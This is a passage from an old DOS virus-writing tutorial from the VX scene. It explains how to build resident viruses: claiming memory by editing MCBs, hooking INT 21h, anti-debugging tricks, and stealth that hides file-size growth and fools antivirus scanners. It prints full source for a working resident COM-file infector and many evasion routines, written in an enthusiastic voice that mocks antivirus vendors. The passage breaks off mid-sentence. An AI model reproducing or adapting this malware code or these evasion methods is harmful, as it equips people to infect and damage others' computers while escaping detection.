ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Bh ³ Number of heads ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Dh ³ Number of hidden sectors ³ Size : 1 WORD ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ Total Size : 29 BYTES ÄÄÄ´ More cool viruses : RESIDENT viruses ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, if you have reached this point and you're still alive, you have future in this cool world called virus scene :) Here begins da interesting stuff for you ( to read ) and for me ( to write ) % What the hell is a resident program? % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, first of all i'll explain you just the opposite :) When we execute a non-resident program ( normal program such edit ), DOS gives it determinated memory, but this memory is deallocated when the application is terminated ( with an INT 20h, or INT 21h functions like the famous 4Ch ). A resident program is executed like a normal program, but it leaves in mem- ory a portion of itself, that is not deallocated after program termination. Resident programs ( aka TSR = Terminate and Stay Resident ) ussually replace some interrupts, and putting its own ones, for perform the task for they're designed. What uses can we give to a TSR program ? We can use for hacking ( steal passwords ), for our cool utilities... all depends of your imagina- tion. Of course, i don't forget it... for make RESIDENT VIRUSES :) % What can a TSR virus give you? % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ TSR isn't the best way to call viruses that go resident. Imagine you're exe- cuting something and it returns to DOS. No. We can't TERMINATE and stay re- sident! The user will note there's something wrong. We must RETURN to host and stay resident :) TSR is only an abbreviation ( misused, i must add ). Resident viruses can offer us a new world of possibilities. We can make our virus much more infectious, safe... We can disinfect file when an attempt to open/read file is detected ( imagine, AVs won't detect anything ), we can hook the functions used by AVs in order to fool them, we can substract the virus size to inexpert user eyes ( erhm... experts too ) ;) Nowadays there isn't reasons to make runtime viruses. They're slow, easily detectable, and OBSOLETE ( Hey! An excelent Fear Factory album! ) :) Let's see a little example of resident program. ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This program will check if it's already in memory, and then it'll show us a ; stupid message. If not, it'll install and show another msg. .model tiny .code org 100h start: jmp fuck newint21: cmp ax,0ACDCh ; Are user caliing our function? je is_check ; If yes, answer the call jmp dword ptr cs:[oldint21] ; Else jump to original int 21 is_check: mov ax,0DEADh ; We answer it iret ; And make an interrupt return :) oldint21 label dword int21_off dw 0000h int21_seg dw 0000h fuck: mov ax,0ACDCh ; Residence check int 21h ; Invented function, of course ;) cmp ax,0DEADh ; Are we here? je stupid_yes ; If yes, show message 2 mov ax,3521h ; If not, we go and install int 21h ; Function for get INT 21h vectors mov word ptr cs:[int21_off],bx ; We store offset at oldint21+0 mov word ptr cs:[int21_seg],es ; We store segment at oldint21+2 mov ax,2521h ; Function for put new int 21 handler mov dx,offset newint21 ; where is it located int 21h mov ax,0900h ; Show message 1 mov dx,offset msg_installed int 21h mov dx,offset fuck+1 ; Make resident from offset 0 until int 27h ; offset in dx using int 27h ; This will also terminate program stupid_yes: mov ax,0900h ; Show message 2 mov dx,offset msg_already int 21h int 20h ; Terminate program. msg_installed db "Stupid Resident not installed. Installing...$" msg_already db "Stupid Resident is alive and kicking your ass!$" end start ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This little example can't be used to code a virus... Why? INT 27h, after put a program in memory, terminates current execution. It's like it put code in memory and make INT 20h or whatever you use for terminate current program execution. And then... What can we use to code a virus? % TSR viruses algorithm % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ We can follow this steps ( imagination is quite good in virus coding... ) :) 1. Check if program is already resident ( yes, goto 5; no, continue ) 2. Allocate memory we want 3. Copy virus body to memory 4. Get interrupt vectors, save them and put ours 5. Restore host file 6. Return control to it % Residence checks % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ When we're coding a resident program, we must make at least one check to see if our program is already installed. Ussually, it's an invented function,and when we call it, the function return us a determinated value ( we choose it, too ) or if it isn't installed, it makes AL = 00. Let's see an example: mov ax,0B0B0h int 21h cmp ax,0CACAh je already_installed [...] If it was already installed, we restore the infected file host, and return control to original program. If it wasn't installed, we go and install. The INT 21h handler for this virus will look like this: int21handler: cmp ax,0B0B0h je install_check [...] db 0EAh oldint21: dw 0,0 install_check: mov ax,0CACAh iret % Allocate modifying MCB % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The most used way to allocate memory is da MCB ( Memory Control Block ) one. There're two way to perform this action: using DOS or doing it DIRECTLY. After seeing what the hell are each way, let's see what is a MCB. A Memory Control Block is created by DOS for each control block that da pro- gram uses. The length of the block is one paragraph ( 16 bytes ), and it always goes before the allocated memory. Ahh! num it's always divisibe by 16 We can know the location of the MCB of our program substracting to the code segment 1 ( CS-1 ) if is a COM file, and DS if EXE ( remember, in EXEs CS<>DS ) You can see the MCB structure in STRUCTURES chapter ( Already seen, the last lesson we have seen ) þ Using DOS for modify MCB: Well, the method i used in my first virus, the Antichrist Superstar, is very simple and effective. First we make a request to DOS using function 4Ah of INT 21h for all memory ( BX=FFFFh ), that is an imposible value. This func- tion will see that we're requesting for too much memory, so it will place in BX all memory that we can use. So we substract to this value the code size of our virus in paragraphs ( ((size+15)/16)+1 ) and call again the function 4Ah. Now it's time to substract to da free memory the memory we want. We can do it by doing a "sub word ptr ds:[2],(size+15)/16+1", and then call to DOS function 48h, with the code size in paragraphs in BX. This will return in AX the segment of allocated block, so we put it in ES, decrement AX, and put the new value in DS. Now we have in DS the MCB, so we have to manipulate it. We must put in DS:[0] the byte "Z" or "M" ( Depending of your needs, see MCB structure ), and in DS:[1] the word 0008, for tell DOS that the block is of its own, and then it won't overwrite it. Arf, Arf... After this huge theory, some code will be good. Something like this will configure MCB to your needs: mov ax,4A00h ; Here we request for an impossible mov bx,0FFFFh ; amount of free memory int 21h mov ax,4A00h ; And we substract the virus size in sub bx,(virus_size+15)/16+1 ; paras to the actual amount of mem int 21h ; ( in BX ) and request for space. mov ax,4800h ; Now we make DOS substract 2 da free sub word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in mov bx,(virus_size+15)/16 ; paragraphs int 21h mov es,ax ; In AX we get the segment of our dec ax ; memory block ( doesn't care if EXE mov ds,ax ; or COM ), we put in ES, and in DS ; ( substracted by 1 ) mov byte ptr ds:[0],"Z" ; We mark it as last block mov word ptr ds:[1],08h ; We say DOS the block is of its own Quite simple and effective... However, this will only manipulate the memory, it doesn't move your code to memory. This is VERY easy. But we'll see it later. þ Direct modify of MCB: This method does exactly the same, but the way to reach our target is diffe- rent. It has one thing that makes it better that the above method: a TSR AV watchdog won't say anything of memory manipulation cause we don't use any kinda interrupt :) The first we do is to put DS in AX ( coz we can't make any kinda things with segments ), we decrement it by 1, and then we put it again in DS. Now DS points to the MCB. If you remember the MCB structure, in the offset 3 we had the amount of current memory in paragraphs. So we need to substract to this value the amount of memory we're going to use. We'll use BX ( why not? ) ;) If we take a look to the past, we can remember that MCB is 16 bytes above da PSP. All the PSP offsets are shifted by 16 ( 10h ) bytes. We need to chan- ge the value of TOM, located at offset 2 of PSP, but we are not pointing to PSP now, we're pointing to MCB. What can we do? Instead using offset 2, we use offset 12h ( 2+16=18=12h ). We substract to it our memory needs in paras ( remember, virus size+15 divided by 16 ). The new value of this offset now has the new segment of our program, and we need it in a segment. We're going to use the Extra Segment ( ES ). But we can make a mov with ES and this location ( due da limitations of segment manipulations ). We must use a tem- poral register. AX will be good for our purposes. Now we mark ES:[0] with a "Z" ( before we used DS as segment handler ), and ES:[1] with an 8. After the always boring theory, some code will be good mov ax,ds ; DS = PSP dec ax ; We use AX as temporal register mov ds,ax ; DS = MCB mov bx,word ptr ds:[03h] ; We put in BX the amount of memory sub bx,((virus_size+15)/16)+1 ; and then we put in BX for change mov word ptr ds:[03h],bx ; We put it in its original place mov byte ptr ds:[0],"M" ; Mark as not last block sub word ptr ds:[12h],((virus_size+15)/16)+1 ; Subs virus size ; to TOM size mov ax,word ptr ds:[12h] ; Now offset 12h handles the new seg. mov es,ax ; And we need AX for put it in ES mov byte ptr es:[0],"Z" ; Mark as last block mov word ptr es:[1],0008h ; Mark DOS as owner % Move the virus to memory % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is da simplest thing in the resident virus coding. If you know for what purposes we can use the MOVSB instruction ( and of course, MOVSW, MOVSD... ) you'll see how much easy is it. All we must do is setup from we want to move and how many data. It's quite simple. Da beginning of data move is magically always equal to delta offset, do if we have the delta offset in BP, all we need it to move to SI the content of BP. And we put the virus size in bytes in CX ( or in words if we want to use MOVSW ). Note that DI must be 0. It'll be enough with a xor di,di ( an optimized way to make a mov di,0 ). Let's see code... push cs ; Adjust segments pop ds ; CS = DS xor di,di ; DI = 0 ( Top Of Memory ) mov si,bp ; SI = offset virus_start mov cx,virus_size ; CX = virus_size rep movsb ; Move bytes from DS:SI to ES:DI % Hooking interrupts % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ After move our virus to memory, we need to modify at least one it for per- form our infection. It's ussually INT 21h in about all resident infectors under the sun, but when we're in a boot virus ( or a multipartite virus that infect also floppies and MBRs ) we also have to hook the INT 13h. The ints we hook depend of our needs. There're two ways of hooking interrupts: using DOS or direct hooking. We must note some things to make our handler: - First of all, we MUST preserve all registers we use PUSHING them at the beginning of the handler ( flags too ), and when we'll be going to return da control to the original handler, POP'em all. - The second thing we must remember is that u can NEVER call an intercepted function that is previously hooked by our virus, we'll fall in an infinite loop. Let's imagine we've hooked function 3Dh of INT 21h ( Open File ), and we call it from the hooked function code ( or antoher of our new interrupt handler )... Da computer will hang. Instead of this we must make a fake call to the INT 21h like this one: CallINT21h: pushf call dword ptr cs:[oldint21] iret We can do another thing. We can redirect another interrupt, and make it point to the old INT 21h. A good choice seems to be INT 03h: It's a good antidebugging trick, makes our code more little ( INT 03h is coded CCh that only takes one byte, and normal ints are coded CDh XX, where XX is the hex value of out int ), and we forget all the problems of call intercepted func- tions. When we're about to pass the control to original INT 21h, it's good to restore all hooked interrupts that were redirected to INT 21h. þ Hooking interrupts using DOS: We must get the original vector of an interrupt before put our own vector. This can be done with the function 35h of the INT 21h. Let's see the input parameters for this function: AH = 35h AL = Interrupt Number When called, it returns us this values : AX = Preserved ES = Interrupt Handler Segment BX = Interrupt Handler Offset After calling this function, we store ES:BX in a variable in our code for later use, and set a new interrupt handler. The fuction we must use is the 25h of INT 21h. Here you have the parameters: AH = 25h AL = Interrupt Number DS = New Handler Segment DX = New Handler Offset Let's see an example of interrupt hooking by using DOS: push cs ; Adjust segments pop ds ; CS = DS mov ax,3521h ; Get interrupt vector function int 21h mov word ptr [int21_off],bx ; Now store variables mov word ptr [int21_seg],es mov ah,25h ; Put new interrupt lea dx,offset int21handler ; Offset to new handler int 21h [...] oldint21 label dword int21_off dw 0000h int21_seg dw 0000h þ Direct hook of interrupts: If we forget DOS, we win some things i said before ( in the direct MCB modi- fying ). Do you remember the structure of the interrupt table ? It begins at 0000:0000, and it takes to 0000:0400h. Here we have all the interrupts we can use, from the INT 00h till the INT FFh. Let's see some code: xor ax,ax ; Make zero AX mov ds,ax ; For make zero DS ( now AX=DS=0 ) push ds ; We nned to restore DS later lds dx,ds:[21h*4] ; All interrupts are in int number*4 mov word ptr es:int21_off,dx ; Where save offset mov word ptr es:int21_seg,ds ; " " segment pop ds ; Restore DS mov word ptr ds:[21h*4],offset int21handler ; The new handler mov word ptr ds:[21h*4+2],es % Last words about residency % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, there aren't my last words really. I'll talk a lot of infections, and all this stuff in the rest of this document, but i assume you know how to do a resident virus after this. All the stuff from here to the last line of the document is thougth to be implemented to a TSR virii. Of course, if i say that something is for runtime viruses, don't scream! :) After terminate this lesson, i must put an example of full-working resident virus. We also used at this point Gý. It's a lame resident COM infector. ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This code isn't commented as good as the RUNTIME viruses. This is cause i ; assumed all the stuff is quite clear at this point. ; Virus generated by Gý 0.70á ; Gý written by Dark Angel of Phalcon/Skism ; Assemble with: TASM /m3 lame.asm ; Link with: TLINK /t lame.obj checkres1 = ':)' checkres2 = ';)' .model tiny .code org 0000h start: mov bp, sp int 0003h next: mov bp, ss:[bp-6] sub bp, offset next ; Get delta offset push ds push es mov ax, checkres1 ; Installation check int 0021h cmp ax, checkres2 ; Already installed? jz done_install mov ax, ds dec ax mov ds, ax sub word ptr ds:[0003h], (endheap-start+15)/16+1 sub word ptr ds:[0012h], (endheap-start+15)/16+1 mov ax, ds:[0012h] mov ds, ax inc ax mov es, ax mov byte ptr ds:[0000h], 'Z' mov word ptr ds:[0001h], 0008h mov word ptr ds:[0003h], (endheap-start+15)/16 push cs pop ds xor di, di mov cx, (heap-start)/2+1 ; Bytes to move mov si, bp ; lea si,[bp+offset start] rep movsw xor ax, ax mov ds, ax push ds lds ax, ds:[21h*4] ; Get old int handler mov word ptr es:oldint21, ax mov word ptr es:oldint21+2, ds pop ds mov word ptr ds:[21h*4], offset int21 ; Replace with new handler mov ds:[21h*4+2], es ; in high memory done_install: pop ds pop es restore_COM: mov di, 0100h ; Where to move data push di ; In what offset will the ret go lea si, [bp+offset old3] ; What to move movsb ; Move 3 bytes movsw ret ; Return to 100h old3 db 0cdh,20h,0 int21: push ax push bx push cx push dx push si push di push ds push es cmp ax, 4B00h ; execute? jz execute return: jmp exitint21 execute: mov word ptr cs:filename, dx mov word ptr cs:filename+2, ds mov ax, 4300h ; Get attributes for later restore lds dx, cs:filename int 0021h jc return push cx push ds push dx mov ax, 4301h ; clear file attributes push ax ; save for later use xor cx, cx int 0021h lds dx, cs:filename ; Open file for read/write mov ax, 3D02h int 0021h xchg ax, bx push cs ; Adjust segments pop ds push cs pop es ; CS=ES=DS mov ax, 5700h ; get file time/date int 0021h push cx push dx mov cx, 001Ah ; Read 1Ah bytes of file mov dx, offset readbuffer mov ah, 003Fh int 0021h mov ax, 4202h ; Move file pointer to the end xor dx, dx xor cx, cx int 0021h cmp word ptr [offset readbuffer], 'ZM' ; Is it EXE ? jz jmp_close mov cx, word ptr [offset readbuffer+1] ; jmp location add cx, heap-start+3 ; convert to filesize cmp ax, cx ; equal if already infected jl skipp jmp_close: jmp close skipp: cmp ax, 65535-(endheap-start) ; check if too large ja jmp_close ; Exit if so mov di, offset old3 ; Restore 3 first bytes mov si, offset readbuffer movsb movsw sub ax, 0003h mov word ptr [offset readbuffer+1], ax mov dl, 00E9h mov byte ptr [offset readbuffer], dl mov dx, offset start mov cx, heap-start mov ah, 0040h ; concatenate virus int 0021h xor cx, cx xor dx, dx mov ax, 4200h ; Move pointer to the beginning int 0021h mov dx, offset readbuffer ; Write first 3 bytes mov cx, 0003h mov ah, 0040h int 0021h close: mov ax, 5701h ; restore file time/date pop dx pop cx int 0021h mov ah, 003Eh ; Close file int 0021h pop ax ; restore file attributes pop dx ; get filename and pop ds pop cx ; attributes from stack int 0021h exitint21: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax db 00EAh ; return to original handler oldint21 dd ? signature db '[PS/Gý]',0 heap: filename dd ? readbuffer db 1ah dup (?) endheap: end start ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Sorry. I'm a goddman lazy, i know. You can think this is a lame attitude. Maybe. But think i'm making this document at time i'm making some viriis and making some stuff for DDT magazine, so i haven't enough time for make my own decent viruses for this tute. Hey! No one pays me for do this, you know? :) ÄÄÄ´ Armouring your code ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is a very discused theme in da scene. Many VXers protects their code in order to make AVers life more difficult. Of course we are talking about antidebugging routines. There're a lot of techniques that all we know... but it's good to see a couple of them here... don't you think? This things have a lot of possible functions. They're a lot of configurable. You can do custom-made routines for yer virus, too. I think put at least one of this routines in your polymorphic engine ( in long-routines table, like Wintermute's Zohra virus ) for fool the AVs which try to decrypt our code. Here we go! A very useful thing is deactivate keyboard. When we deactivate keyboard the debugger user can't trace anymore ( F7 in TD ). If user runs the program at full speed... no problem. Just an int 3 ( breakpoint ) will do the rest. It is a very simple thing that works preety good! Let's see some code: bye_keyb: in al,21h ; Let's deactivate keyboard or al,02h ; Try to press any key... out 21h,al fuck_int3: int 3h ; Breakpoint exit_adbg: in al,21h ; Let's activate keyboard and al,not 2 ; keyb works now out 21h,al ; cool :) This is a good method. Think you can do... deactivate keyboard all time when our virus is being run will: keep the lamer-user get astonished, wont allow him to press damned ^C, all you want to do can be made. Really useful and simple thing. Another method is play with the stack. Many antidebuggers suck with this old and simple thing. You can do whatever you want with this in order to fuck'em Code? Here you have: do_shit_stack: neg sp neg sp Simple, huh? You can also do a NOT instead of NEG. Same result. tons_of_shit: not sp not sp What a NEG does? It increases register by one and then apply a NOT on the result. But it's a very old trick... you can add it but better search for others, this is not definitive with quality debuggers like S-ICE. But if you are doing a poly engine you can add a simple soutine like this and AVP will suck trying to decrypt your virus. Hehe... Kaspersky's babe sux! Erhm.. I forget it... TBCLEAN says "Approached stack crash" :) Ok... continue this shit. Another method you can use is overflow the stack: overflower: mov ax,sp mov sp,00h pop bx mov sp,ax Of course... there are more. Another of the classics is to hook int 1 and/or int 3. You have many ways to do this. Well, we offer you some of this shit. change_int1_and_int3_using_dos: mov ax,2501h ; AL = INT to hook lea dx,newint ; Take care if we need int 21h ; ë offset, by adding it... ok? mov al,03h int 21h [...] newint: jmp $ iret ; Why if don't used? hehehe :) This routine can be notified by a TSR watchdog. We recommend you to use the below method. Hookin' by direct manipulation: int1: xor ax,ax ; Let's try to put an IRET in INT 1 mov es,ax ; We need ES = 0. IVT is in 0000:0000 mov si,word ptr es:[1h*4] ; Get da offset mov [si],0FEEBh ; a jmp $ int3: xor ax,ax mov es,ax mov si,word ptr es:[3h*4] mov [si],0FEEBh If you don't want to hang the computer just replace the 0FEEBh to 0CF90h ( a nop and a iret [ reverse order, of course ] ). A very cool idea you can have is to make int 3 point to int 21, and then you can use this int instead the int 21. This will be good for two things: fuck debuggers and optimize your code... why it optimize your code? the int 21 opcode is CD 21 ( takes two bytes ), and the int 3 is only CC... Remember that the int 3 is a breakpoint for debuggers, so everytime you call int 3 the debugger will stop :) Here you have the code: getint21: mov ax,3521h ; Get interrupt vectors int 21h mov word ptr [int21_ofs],bx mov word ptr [int21_seg],es mov ax,2503h lea dx,jumptoint21 int 21h [...] jumptoint21 db 0EAh int21 equ this dword int21_ofs dw 0000h int21_seg dw 0000h We can also make comparisons with the stack in order of know if we're being debugged. Here you have some examples: stack_compares: push ax pop ax dec sp dec sp pop bx cmp ax,bx jz exit_adbg ; not debugged jmp $ ; hang computers is cool ;) exit_adbg: Remember, if needed, disabling interrupts ( cli ) and enabling later ( sti ) Yes, there are more methods for armour our code. They're so old, but hey! they work! Take a look to the next one... play with the prefetch is very known. I like a lot this method. [** NOTE : As a guy in i-net remembered me, this WON'T WORK in Pentiums **] Take a look to this code: prefetch: mov word ptr cs:fake,0FEEBh ; Why do you think this made fake: jmp nekst ; if debugged? Yes, hang PC! nekst: ; Continue with your code here You can also do much more things with da prefetch. You can jump to a routine or put a hlt ( hangs too )... whatever you want, like this: prefetch_fun: mov word ptr cs:fake2,04CB4h fake2: jmp bye_fake int 21h bye_fake: This code will terminate the execution of yer program. Quite kewl. Now, a specific routine for SoftIce ( the best debugger also fooled ). At least this is a lot of ppl say. More code here: soft_ice_fun: mov ax,0911h ; Soft-ice function for exec. command mov di,4647h ; DI = "FG" mov si,4A4Eh ; SI = "JM" lea dx,soft_ice_fuck ; Yeah int 03h ; Int for breakpoints soft_ice_fuck db "bc *",10,0 Another trick is to hook int 8 and put there a compare to a variable in our resident code, because a lot of debuggers deactivate all interrupts except the int 8. The int 8 is executed 18.2 times in an only second. I recommend you to save the old handler before hook it. Do you want code? here you have save_old_int8_handler: ; You remember 40-hex magazine? mov ax,3508h ; This routine is from issue #7 int 21h mov word ptr [int8_ofs],bx mov word ptr [int8_seg],es push bx es mov ah,25h ; Put int 8 handler lea dx,virii int 21h fuckin_loop: cmp fuckvar,1 ; This will cause a little delay jnz fuckin_loop pop ds ds int 21h mov ax,4C00h int 21h fuckvar db 0 int8 equ this dword int8_ofs dw 0000h int8_seg dw 0000h program: ; bla bla bla mov fuckvar,1 ; more and more bla jmp dword ptr [int8] There is another trick i love. SoftIce hangs while loading, or it shows an INVALID label, TD, TD32, debug and such like are stoned, so here it goes: Just make something important with int 1, such as redirect it to int 21, for example, and when you need to call int 1, just don't put the normal instruc- tion: int 01h No. Just put the F1 byte. Is an undocumented opcode that occupies only one byte, so it can optimize your code, is higly anti-debugging, so... for what are ya waiting? :) Remember Demogorgon lesson : " Unprotected code is public domain " Hey! Be careful if you need the delta offset ( i.e. runtime viruses ), and add it... ok? ÄÄÄ´ Stealth ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ What is stealth ? Stealth in VX world is the name we give to all this stuff that allow us the possibility of hide the infection symptoms, like file size grow, " Abort, Retry, Ignore " error when we execute a program in a protect- ed to disk write floppy, read the disinfected version of a file, the file date seems to bee good...In another words, make the user believe fake things Stealth is also the name of a VX group ( SGWW ), but this is another history :) % INT 24h stealth % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Yes, this is stealth. You can think this stuff is quite old and else, but i believe this is the first attempt to make stealth implemented in viruses. The target is avoid da message " Abort, Retry, Ignore " when we're executing a program in a write-protected floppy, cause the virus want to write, and it does, but DOS notify this error. If the user sees this message will suspect there's something wrong... This is very easy. All we need is to replace the original INT 24h vectors ( the int that handles critical errors ) to a fake interrupt where the only code is a " mov al,3 " followed by an " iret ". Let's see: mov ax,3524h int 21h mov word ptr [int24_off],bx mov word ptr [int24_seg],es mov ax,2524h lea dx,int24handler int 21h [...] int24handler: mov al,3 iret % Directory stealth % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There are two kinds of directory stealth: by FCBs and by handles. þ FCB stealth: Do you remember the FCB structure? You can take a look to STRUCTURES chapter if you've alzheimer :) Well, let's see... Our target here is to susbract the virus size to the actual infected virus size. You must add something like this to your int 21h handler: [...] cmp ah,11h ; FindFirst ( FCB ) je FCBstealth cmp ah,12h ; FindNext ( FCB ) je FCBstealth [...] Then we create a procedure called FCBstealth ( or the name you like more ), and put in it a fake interrupt call. Then we check if result is 0. If it is, we jump directly to the interrupt return. Else, we continue. Now we push the register what we use ( AX, BX, ES ), and we call to the INT 21h function AH=2Fh, that return us the address of the DTA in ES:BX. It's time to check if the FCB is normal or extended. We can know it by comparing the first byte of FCB ( in ES:[BX] ) with FFh. If it's equal, the FCB is extended, so we fix it by adding 7 bytes to BX. If it's normal we preserve it. Now we check if the file was previously infected. For make our stuff easiest, i will assume that the infection mark is to set up seconds to 60 ( an impossible value ). If it isn't infected, we skip that file. Now it's time to substract the virus size, and... here we have! FCB stealth! Let's see code: FCB_Stealth: pushf call dword ptr cs:[oldint21] ; Fake call to INT 21h or al,al ; Optimized cmp al,0 jnz error push ax bx es mov ah,2Fh ; Get DTA address in ES:BX int 21h cmp byte ptr es:[bx],0FFh ; Is FCB extended ? jne normal add bx,07h ; No, fix it normal: mov ax,es:[bx+17h] ; Get seconds and ax,1Fh ; Unmask seconds xor al,1Eh ; Are seconds = 60 ? ( 30*2 ) jne not_infected ; No, skip it sub word ptr es:[bx+1Dh],virus_size ; Substract virus size sbb word ptr es:[bx+1Fh],0 ; With borrow, too not_infected: pop es bx ax error: retf 02 þ Handle stealth: The handle is another way to do the same than FCB stealth. Our objective is the same, hide the size ( and seconds if required )... but the function we must intercept and the things we must change are a little bit different ( if not we used the same code than above ) ;) Well, the code placed in your INT 21h handler is something like this: [...] cmp ah,4Eh ; FindFirst ( Handle ) je HandleStealth cmp ah,4Fh ; FindNext ( Handle ) je HandleStealth [...] And now, I'll explain how is a typical routine for Handle stealth. Firstly, we make a fake call to da old INT 21h ( after pushing flags, of co- urse ). After this, we save the registers we're going to use ( AX, BX, ES ), and get the DTA in ES:BX ( AH=2Fh ). We check for previous infection ( secs in ES:[BX+17h] ), and if it's already infected, we substract the virus size to the file size. It's very similar to the above stealth method, but, as you can see, there're some things that make it different :) A theory lesson is a shit without some code :) HandleStealth: pushf call dword ptr cs:[oldint21] ; Fake call to DOS API jc goback ; CF=1 if error push ax bx es ; Save registers we use mov ah,2Fh ; DTA @ ES:BX int 21h mov ax,es:[bx+16h] ; Get the file time and ax,1Fh ; Unmask Seconds xor al,1Eh ; 60 ? ( Compare in optimized way ) jne damnedpops ; Fuck! sub word ptr es:[bx+1Ah],virus_size ; Guess... sbb word ptr es:[bx+1Ch],0 damnedpops: pop es bx ax ; Get the old values goback: retf 02 % Problems in directory stealth % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There're some problems that need to be fixed, in order to avoid user's panic We need to check if some programs are being run: - Compressors, such PKZIP, RAR, ARJ, LHA, AIN, etc. because if we give them an incorrect size, they'll fuck in order to compress files :( - Utilities like CHKDSK, that will be fucking around showing a neverending errors list, cause of the size in sectors isn't equal to the size we show to the user eyes :( - AVs, like F-PROT, AVP and other SCUM, to prevent their messages about a probable infection by a stealth virus. So, it's a good idea to waste some code space making comparisons in order to see if one of this program is being run, and then deactivate stealth ( and activate later, when we're outside danger ) % INT vectors stealth % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This kinda stealth is very easy. When we use this method, we are trying to give the original vectors ( this ones that we caught before install our own interrupt handler ) to the programs that request for it. This is good for some things: our interrupt handler will be always the first. Let's see what we have to add to our INT 21h vectors if we've hooked the said INT. [...] cmp ax,3521h ; Get INT 21h vectors je RequestINT21h cmp ah,2521h ; Put INT 21h vectors je PutNewINT21h [...] And our routines look like this: RequestINT21h: mov bx,word ptr cs:[int21_off] ; Return in BX the old int offset mov es,word ptr cs:[int21_seg] ; Return in ES the old int segment iret PutNewINT21h: mov word ptr cs:[int21_seg],ds ; Put the new segment in int21_seg mov word ptr cs:[int21_off],dx ; " " " offset " int21_off iret % Time stealth % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Here i can't put code because this thing is very personal, it must be custom made to your needs when coding your virus. You can use many ways for mark da infected files... Put seconds to 60, 62... ( impossible ), increase years by 100, make equal seconds and day... The way for obtain time and date is with the function AX=5700h, and for put new values the AX=5701h. In CX goes time, and in DX, date ( the ones we must intercept for make the stealth ) % SFT stealth % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ If you remember the preety structure called SFT, at offset 11 we had a dword that shows the file size. All we need is to see if the file was already inf- ected, and if it was, substract to the file size the virus size. Let's see a little piece of code ( assuming the infection mark is seconds = 60 and we have called to a routine that gave us the SFT in ES:DI ): Infect: [...] mov ax,word ptr es:[di+0Dh] ; Get time and al,01Fh ; Unmask seconds cmp al,01Eh ; Seconds = 60 ? jnz AintInfected ; No, infect it sub word ptr es:[di+11h],virus_size ; Yes, substract virus size sbb word ptr es:[di+13h],0000h [...] AintInfected: [...] There is a good thing you can do for avoid the AVP 3.0 scanning. First, we must know if AVP is here. When AVP 3.0 opens a file, there're some values that let us know it is fucking around ( BX=5, SI=402Dh ). It's time to get SFT, and then make all file zero-size for Kaspersky's son, with two only code lines: mov word ptr es:[di+11h],0000h mov word ptr es:[di+13h],0000h or only one if we can :) mov dword ptr es:[di+11],00000000h % Disinfection on the fly % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Here again, i can't give you some code. It must be custom made... Well, i can give you the INT 21h lines, but nothing else: [...] cmp ah,03Dh ; Open file jz Disinfect cmp ax,6C00h ; Extended open jz Disinfect cmp ah,03Eh ; Close file ( infect now!!! ) jz Infect [...] Now we must note one thing... we must fix some things for make da same rout- ine for AH=3Dh and 